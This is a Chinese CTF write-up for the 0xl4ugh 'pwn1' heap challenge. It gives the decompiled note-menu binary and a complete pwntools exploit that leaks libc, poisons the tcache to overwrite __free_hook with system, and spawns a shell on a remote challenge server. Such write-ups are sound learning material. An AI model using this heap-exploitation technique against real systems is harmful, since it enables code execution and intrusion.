nyyyddddn

0xl4ugh_pwn

2024/02/11

pwn

pwn1

glibc 2.31 有pie,choice 10能分一个很大的堆块,所以思路是把tcache填满,然后free掉一个大堆块,通过unsortedbin去泄露libc的地址,然后通过tcache bin attack去写free hook为system,再去free掉一块内容为binsh的堆 触发system(/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-1BCh] BYREF
int v5; // [rsp+8h] [rbp-1B8h] BYREF
int v6; // [rsp+Ch] [rbp-1B4h]
char *v7; // [rsp+10h] [rbp-1B0h]
char *s; // [rsp+18h] [rbp-1A8h]
void *ptr[52]; // [rsp+20h] [rbp-1A0h]

ptr[51] = (void *)__readfsqword(0x28u);
init(argc, argv, envp);
v6 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 1 )
break;
s = (char *)malloc(0x28uLL);
puts("Enter the note");
fgets(s, 10, stdin);
puts("Note created");
ptr[v6++] = s;
}
if ( v4 != 2 )
break;
puts("Which note do you want to delete?");
__isoc99_scanf("%d", &v5);
getchar();
if ( v6 < v5 )
goto LABEL_15;
free(ptr[v5 - 1]);
}
if ( v4 != 3 )
break;
puts("Which note do you want to edit?");
__isoc99_scanf("%d", &v5);
getchar();
if ( v6 < v5 )
{
LABEL_15:
puts("Invalid choice");
}
else
{
fgets((char *)ptr[v5 - 1], 100, stdin);
puts("Note edited");
}
}
if ( v4 != 4 )
break;
puts("Which note do you want to read?");
__isoc99_scanf("%d", &v5);
getchar();
if ( v6 < v5 )
goto LABEL_15;
puts((const char *)ptr[v5 - 1]);
}
if ( v4 == 5 )
return 0;
if ( v4 == 10 )
{
v7 = (char *)malloc(0x4B0uLL);
puts("Enter the note");
fgets(v7, 10, stdin);
puts("Note created");
ptr[v6++] = v7;
}
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "20.55.48.101"
PORT = 1339

elf = context.binary = ELF('./chall')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_note(idx):
ru("5. Exit\n")
sl("1")
sla("Enter the note",str(idx))

def delete_note(idx):
ru("5. Exit\n")
sl(b"2")
sla("Which note do you want to delete?",str(idx + 1))

def edit_note(idx,data):
ru("5. Exit\n")
sl(b"3")
sla("Which note do you want to edit?",str(idx + 1))
sl(data)

def read_note(idx):
ru("5. Exit\n")
sl(b"4")
sla("Which note do you want to read?",str(idx + 1))

def create_big_note(idx):
ru("5. Exit\n")
sl(b"10")
sla("Enter the note",str(idx))

p = connect()

for i in range(7):
create_note(i)

create_big_note(7)
create_note(8)

for i in range(7):
delete_note(i)

delete_note(7)
# g(p)

read_note(7)
libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")
# g(p)

for i in range(7):
create_note(i)
create_big_note(7)


delete_note(0)
delete_note(1)

edit_note(1,p64(free_hook))
create_note(1)
create_note(2)
edit_note(18,p64(system))

create_note(2)
edit_note(2,b'/bin/sh')
delete_note(2)

p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. pwn1